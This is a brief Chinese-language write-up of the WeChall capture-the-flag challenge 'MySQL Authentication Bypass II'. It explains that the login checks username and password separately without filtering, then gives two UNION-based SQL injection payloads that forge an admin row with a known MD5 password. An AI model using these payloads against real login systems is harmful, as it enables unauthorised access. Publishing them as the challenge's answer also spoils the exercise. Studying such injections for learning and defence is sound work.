wechall MySQL Authentication Bypass II

首先看看源码

 

username password分开来验证。但是没做过滤

通常的利用方法是使用union构造已知MD5值的查询。

如果username存在则执行查询，并且为admin。我们用unnion 这条语句把判断给pass掉即可。

得出答案：

' union select 1,'admin' as username ,md5('1') as password from users where username ='admin'#

password:1
或者
username=123' union select 1,'admin',md5('password');# &password=password &login=Login